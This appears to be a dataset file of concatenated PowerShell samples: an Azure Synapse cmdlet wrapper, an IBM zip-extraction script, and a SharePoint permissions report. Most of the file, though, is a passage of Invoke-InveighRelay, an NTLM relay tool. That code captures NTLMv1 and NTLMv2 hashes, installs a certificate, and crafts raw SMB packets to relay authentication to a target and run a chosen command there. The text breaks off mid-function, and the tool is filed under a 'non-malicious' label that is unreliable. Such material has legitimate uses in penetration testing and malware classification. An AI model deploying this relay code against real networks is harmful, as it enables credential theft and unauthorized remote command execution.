(UTC) [SystemDataLastModifiedBy <String>]: The identity that last modified the resource. [SystemDataLastModifiedByType <CreatedByType?>]: The type of identity that last modified the resource. .Link https://learn.microsoft.com/powershell/module/az.synapse/update-azsynapsekustopooldataconnection #> function Update-AzSynapseKustoPoolDataConnection { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection])] [CmdletBinding(DefaultParameterSetName='UpdateExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the data connection. ${DataConnectionName}, [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the database in the Kusto pool. ${DatabaseName}, [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the Kusto pool. ${KustoPoolName}, [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the resource group. # The name is case insensitive. ${ResourceGroupName}, [Parameter(ParameterSetName='Update')] [Parameter(ParameterSetName='UpdateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String] # The ID of the target subscription. ${SubscriptionId}, [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the workspace ${WorkspaceName}, [Parameter(ParameterSetName='UpdateViaIdentity', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UpdateViaIdentityExpanded', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.ISynapseIdentity] # Identity Parameter # To construct, see NOTES section for INPUTOBJECT properties and create a hash table. ${InputObject}, [Parameter(ParameterSetName='Update', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UpdateViaIdentity', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection] # Class representing a data connection. # To construct, see NOTES section for PARAMETER properties and create a hash table. ${Parameter}, [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Parameter(ParameterSetName='UpdateViaIdentityExpanded', Mandatory)] [ArgumentCompleter([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.DataConnectionKind])] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.DataConnectionKind] # Kind of the endpoint for the data connection ${Kind}, [Parameter(ParameterSetName='UpdateExpanded')] [Parameter(ParameterSetName='UpdateViaIdentityExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.String] # Resource location. ${Location}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command as a job ${AsJob}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command asynchronously ${NoWait}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Update = 'Az.Synapse.private\Update-AzSynapseKustoPoolDataConnection_Update'; UpdateExpanded = 'Az.Synapse.private\Update-AzSynapseKustoPoolDataConnection_UpdateExpanded'; UpdateViaIdentity = 'Az.Synapse.private\Update-AzSynapseKustoPoolDataConnection_UpdateViaIdentity'; UpdateViaIdentityExpanded = 'Az.Synapse.private\Update-AzSynapseKustoPoolDataConnection_UpdateViaIdentityExpanded'; } if (('Update', 'UpdateExpanded') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId')) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } # SIG # Begin signature block # MIInvwYJKoZIhvcNAQcCoIInsDCCJ6wCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCnlCox6or+22I+ # /82IxAAVoXkmOjr1yOpCFaEvegwlq6CCDXYwggX0MIID3KADAgECAhMzAAADrzBA # DkyjTQVBAAAAAAOvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwOTAwWhcNMjQxMTE0MTkwOTAwWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQDOS8s1ra6f0YGtg0OhEaQa/t3Q+q1MEHhWJhqQVuO5amYXQpy8MDPNoJYk+FWA # hePP5LxwcSge5aen+f5Q6WNPd6EDxGzotvVpNi5ve0H97S3F7C/axDfKxyNh21MG # 0W8Sb0vxi/vorcLHOL9i+t2D6yvvDzLlEefUCbQV/zGCBjXGlYJcUj6RAzXyeNAN # xSpKXAGd7Fh+oc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Gtt2pGhlPk # UVrl4eFWhGmfEbwu7w27vxJUYFIUZT4WKiL1tPs15ujKe6fLdfwjy+62uz40ZDip # fZAGYiaf/tmn/IsbPxbdIdB66XGDcPmf4v/Ri4Vx3yABvUrF9EIiBzJ14Uh/wJaM # WPlb # SIG # End signature block
combined_dataset/train/non-malicious/sample_13_67.ps1
sample_13_67.ps1
# @(#) MQMBID sn=p934-001-231123 su=__1xN5on7Ee6laNoNozjQLg pn=cmd/install/pc/winnt/web/UnpackFeature.ps1 ######################################################################## # # # Program name: UnpackFeature.ps1 # # # # Description: Powershell unzip script for feature zip files # # # # <copyright # # notice="lm-source-program" # # pids="5724-H72" # # years="2016,2017" # # crc="1776263731" > # # Licensed Materials - Property of IBM # # # # # # (C) Copyright IBM Corp. 2016, 2017 All Rights Reserved. # # # # US Government Users Restricted Rights - Use, duplication or # # disclosure restricted by GSA ADP Schedule Contract with # # IBM Corp. # # </copyright> # # # ######################################################################## param ( [string]$zipsdir, [string]$destdir, [string]$zipname ) Write-Output "1 - zipsdir arg is $($zipsdir)`r" Write-Output "2 - destdir arg is $($destdir)`r" Write-Output "3 - zipname arg is $($zipname)`r`n`r" $shell = new-object -com shell.application Write-Output "calculating feature zip name to extract:`r " $zipname = -join("$zipsdir","\$zipname") $zipname -replace ' ','` ' #Write-Host `r`nZIPNAME is $zipname`r $zip = $shell.NameSpace("$zipname") # If ZipFile::ExtractToDirectory is unavailable use the old method of extraction. Try { Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($zipname, $destdir) Write-Output "$zipname Extracted`r " } Catch { Write-Output "ExtractToDirectory unavailable`r" foreach($item in $zip.items()) { $fileName = [string]$item.Name Write-Output "extracting: $fileName`r" $shell.Namespace("$destdir").copyhere($item,1044) } } # SIG # Begin signature block # MIIpZQYJKoZIhvcNAQcCoIIpVjCCKVICAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgE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L4fxC # foBu04KWqTAz7ubmtz/f5DuZdMWyo/8c1C96yipoC3Y7LXLl3nEuGt/njddUaAe0 # neFFVHr/pIKLlBWiSaAGuFn6NJ/vTaw5zt4S2FjhlsWThu0nnTJTMxixcfUNCHVS # vc/4J55JQCA6uEBRLFUgs6S+7DzZXspmn8XcEoj70G6DzcTHguTO9/pJIwTMuwJy # 6uaDEwi+NcYfZaJnRlp04m2u3UKDOtIwN3a5Eqyzs4H13D1pr3QL+L/Yi7gNLYOV # tWN6//5+2MbCu637i0NHnlVvulW+D5fX8Rs1LkEv7yuLGsR+vJHvda99JiVq7ppG # jXhKDQKry1zNdTG3Q+Mq+VCU23RdoZ8x/Oq4KXlebALH9NboxLHCd7T+MTGjOK+G # wNkr79q4iqpj2U9dSwLhrZ11+x8thP58f7XSjWDmXSm5KH4duqXiJU0= # SIG # End signature block
combined_dataset/train/non-malicious/524.ps1
524.ps1
function Get-SPObjectPermissions{ param( [Parameter(Mandatory=$false)] [string]$Identity, [switch]$IncludeChildItems, [switch]$Recursive, [switch]$OnlyLists, [switch]$OnlyWebsites, [switch]$ByUsers ) if(-not (Get-PSSnapin "Microsoft.SharePoint.PowerShell" -ErrorAction SilentlyContinue)){Add-PSSnapin "Microsoft.SharePoint.PowerShell"} Import-Module ActiveDirectory function Get-SPObjectPermissionMemberType{ param( [Parameter(Mandatory=$true)] $RoleAssignment ) if($RoleAssignment.Member.IsDomainGroup){ $MemberType = "ADGroup" }elseif(($RoleAssignment.Member.LoginName).StartsWith("SHAREPOINT\")){ $MemberType = "SPUser" }elseif($RoleAssignment.Member.UserToken -ne $null){ $MemberType = "ADUser" }else{ $MemberType = "SPGroup" } $MemberType } function Get-SPObjectPermissionMember{ param( [Parameter(Mandatory=$true)] $RoleAssignment ) $Member = $RoleAssignment.Member.UserLogin -replace ".*\\","" if($Member -eq ""){ $Member = $RoleAssignment.Member.LoginName } $Member } function Get-SPReportItemByUsers{ param( [Parameter(Mandatory=$true)] $SPReportItem ) if($SPReportItem.MemberType -eq "ADGroup"){ $ADUsers = Get-ADGroupMember -Identity $SPReportItem.Member -Recursive | Get-ADUser -Properties DisplayName | where{$_.Enabled} }elseif($SPPermission.MemberType -eq "ADUser"){ $ADUsers = Get-ADUser -Identity $SPReportItem.Member | where{$_.Enabled} }else{ $ADUsers = $Null } if($ADUsers){ foreach($ADUser in $ADUsers){ $SPReportItemByUsers = $SPReportItem.PsObject.Copy() $SPReportItemByUsers | Add-Member -MemberType NoteProperty -Name "UserName" -Value $ADUser.Name -Force $SPReportItemByUsers | Add-Member -MemberType NoteProperty -Name "DisplayName" -Value $ADUser.DisplayName -Force $SPReportItemByUsers | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $ADUser.UserPrincipalName -Force $SPReportItemByUsers } } } function New-ObjectSPReportItem{ param( $Name, $Url, $Member, $MemberType, $Permission, $Type ) New-Object PSObject -Property @{ Name = $Name Url = $Url Member = $Member MemberType = $MemberType Permission = $Permission Type = $Type } } $SPWebs = @() if($Identity){ $SPUrl = (Get-SPUrl $Identity).Url $SPWeb = Get-SPWeb $SPUrl if($IncludeChildItems -and -not $Recursive){ $SPWebs += $SPWeb $SPWebs += $SPWeb.webs }elseif($Recursive -and -not $IncludeChildItems){ $SPWebs += $SPWeb.Site.AllWebs | where{$_.Url.Startswith($SPWeb.Url)} }else{ $SPWebs += $SPWeb } }else{ $SPWebs += Get-SPsite -Limit All | Get-SPWeb -Limit All -ErrorAction SilentlyContinue } foreach ($SPWeb in $SPWebs){ Write-Progress -Activity "Read permissions" -status $SPWeb -percentComplete ([int]([array]::IndexOf($SPWebs, $SPWeb)/$SPWebs.Count*100)) if(($SPWeb.permissions -ne $null) -and ($SPWeb.HasUniqueRoleAssignments) -and -not $OnlyLists){ foreach ($RoleAssignment in $SPWeb.RoleAssignments){ $Member = Get-SPObjectPermissionMember -RoleAssignment $RoleAssignment $MemberType = Get-SPObjectPermissionMemberType -RoleAssignment $RoleAssignment $Permission = $RoleAssignment.roledefinitionbindings[0].Name $SPReportItem = New-ObjectSPReportItem -Name $SPWeb.Title -Url $SPWeb.url -Member $Member -MemberType $MemberType -Permission $Permission -Type "Website" if($ByUsers){Get-SPReportItemByUsers -SPReportItem $SPReportItem}else{$SPReportItem} } } if(-not $OnlyWebsites){ foreach ($SPlist in $SPWeb.lists){ if (($SPlist.permissions -ne $null) -and ($SPlist.HasUniqueRoleAssignments)){ foreach ($RoleAssignment in $SPlist.RoleAssignments){ [Uri]$SPWebUrl = $SPWeb.url $SPListUrl = $SPWebUrl.Scheme + "://" + $SPWebUrl.Host + $SPlist.DefaultViewUrl -replace "/([^/]*)\.(aspx)","" $Member = Get-SPObjectPermissionMember -RoleAssignment $RoleAssignment $MemberType = Get-SPObjectPermissionMemberType -RoleAssignment $RoleAssignment $Permission = $RoleAssignment.roledefinitionbindings[0].Name $SPReportItem = New-ObjectSPReportItem -Name ($SPWeb.Title + " - " + $SPlist.Title) -Url $SPListUrl -Member $Member -MemberType $MemberType -Permission $Permission -Type "List" if($ByUsers){Get-SPReportItemByUsers -SPReportItem $SPReportItem}else{$SPReportItem} } } } } } }
combined_dataset/train/non-malicious/4266.ps1
4266.ps1
Function Invoke-InveighRelay { param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][string]$WPADAuth="NTLM", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", [parameter(Mandatory=$false)][int]$RunTime="", [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) { throw "$($invalid_parameter) is not a valid parameter." } if(!$SMBRelayTarget) { Throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" } if(!$SMBRelayCommand) { Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" } if(!$OutputDir) { $output_directory = $PWD.Path } else { $output_directory = $OutputDir } if(!$inveigh) { $global:inveigh = [hashtable]::Synchronized(@{}) $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.IP_capture_list = @() $inveigh.SMBRelay_failed_list = @() } if($inveigh.HTTP_listener.IsListening) { $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } if(!$inveigh.running) { $inveigh.console_queue = New-Object System.Collections.ArrayList $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList $inveigh.certificate_application_ID = $HTTPSCertAppID $inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false $inveigh.console_input = $true $inveigh.file_output = $false $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" $Inveigh.challenge = $Challenge } $inveigh.relay_running = $true $inveigh.SMB_relay_active_step = 0 $inveigh.SMB_relay = $true if($StatusOutput -eq 'y') { $inveigh.status_output = $true } else { $inveigh.status_output = $false } if($OutputStreamOnly -eq 'y') { $inveigh.output_stream_only = $true } else { $inveigh.output_stream_only = $false } if($Tool -eq 1) { $inveigh.tool = 1 $inveigh.output_stream_only = $true $inveigh.newline = "" $ConsoleOutput = "N" } elseif($Tool -eq 2) { $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false $inveigh.newline = "`n" $ConsoleOutput = "Y" $ShowHelp = "N" } else { $inveigh.tool = 0 $inveigh.newline = "" } if(!$inveigh.running) { $inveigh.status_queue.add("Inveigh Relay started at $(Get-Date -format 's')")|Out-Null $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay started")]) |Out-Null if($HTTP -eq 'y') { $inveigh.HTTP = $true $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null } else { $inveigh.HTTP = $false $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null } if($HTTPS -eq 'y') { try { $inveigh.HTTPS = $true $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch { $certificate_store.Close() $HTTPS="N" $inveigh.HTTPS = $false $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null } } else { $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null } if($Challenge) { $Inveigh.challenge = $challenge $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null } if($MachineAccounts -eq 'n') { $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null } $inveigh.status_queue.add("Force WPAD Authentication = $WPADAuth")|Out-Null if($ConsoleOutput -eq 'y') { $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null $inveigh.console_output = $true } else { if($inveigh.tool -eq 1) { $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null } else { $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null } } if($FileOutput -eq 'y') { $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null $inveigh.file_output = $true } else { $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null } if($RunTime -eq 1) { $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null } elseif($RunTime -gt 1) { $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null } } $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null if($SMBRelayUsernames) { if($SMBRelayUsernames.Count -eq 1) { $inveigh.status_queue.add("SMB Relay Username = " + $SMBRelayUsernames -join ",")|Out-Null } else { $inveigh.status_queue.add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",")|Out-Null } } if($SMBRelayAutoDisable -eq 'y') { $inveigh.status_queue.add("SMB Relay Auto Disable Enabled")|Out-Null } else { $inveigh.status_queue.add("SMB Relay Auto Disable Disabled")|Out-Null } if($SMBRelayNetworkTimeout) { $inveigh.status_queue.add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds")|Out-Null } if($ShowHelp -eq 'y') { $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null $inveigh.status_queue.add("Run Stop-Inveigh to stop Inveigh")|Out-Null if($inveigh.console_output) { $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null } } if($inveigh.status_output) { while($inveigh.status_queue.Count -gt 0) { if($inveigh.output_stream_only) { write-output($inveigh.status_queue[0] + $inveigh.newline) $inveigh.status_queue.RemoveRange(0,1) } else { switch ($inveigh.status_queue[0]) { "Run Stop-Inveigh to stop Inveigh" { write-warning($inveigh.status_queue[0]) $inveigh.status_queue.RemoveRange(0,1) } default { write-output($inveigh.status_queue[0]) $inveigh.status_queue.RemoveRange(0,1) } } } } } $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |Select-Object -expand id $process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" [Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} $shared_basic_functions_scriptblock = { Function DataToUInt16($field) { [Array]::Reverse($field) return [BitConverter]::ToUInt16($field,0) } Function DataToUInt32($field) { [Array]::Reverse($field) return [BitConverter]::ToUInt32($field,0) } Function DataLength { param ([int]$length_start,[byte[]]$string_extract_data) $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) return $string_length } Function DataToString { param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } } $SMB_NTLM_functions_scriptblock = { Function SMBNTLMChallenge { param ([byte[]]$payload_bytes) $payload = [System.BitConverter]::ToString($payload_bytes) $payload = $payload -replace "-","" $NTLM_index = $payload.IndexOf("4E544C4D53535000") if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") { $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) } return $NTLM_challenge } } $SMB_relay_challenge_scriptblock = { Function SMBRelayChallenge { param ($SMB_relay_socket,$HTTP_request_bytes) if ($SMB_relay_socket) { $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() } $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 $i = 0 :SMB_relay_challenge_loop while ($i -lt 2) { switch ($i) { 0 { [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + $inveigh.process_ID_bytes` + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00) } 1 { $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32) $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22) $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2) $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} [array]::Reverse($SMB_netbios_length) [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` + $SMB_netbios_length` + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + $inveigh.process_ID_bytes` + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + $SMB_blob_length` + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + $SMB_byte_count` + (0x60)` + $SMB_length_1` + (0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0)` + $SMB_length_2` + (0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a,0xa2)` + $SMB_length_3` + (0x04)` + $SMB_NTLMSSP_length` + $HTTP_request_bytes` + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) } } $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length) $SMB_relay_challenge_stream.Flush() if($SMBRelayNetworkTimeout) { $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout $SMB_relay_challenge_stopwatch = [diagnostics.stopwatch]::StartNew() while(!$SMB_relay_challenge_stream.DataAvailable) { if($SMB_relay_challenge_stopwatch.elapsed -ge $SMB_relay_challenge_timeout) { $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() break SMB_relay_challenge_loop } } } $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length) $i++ } return $SMB_relay_challenge_bytes } } $SMB_relay_response_scriptblock = { Function SMBRelayResponse { param 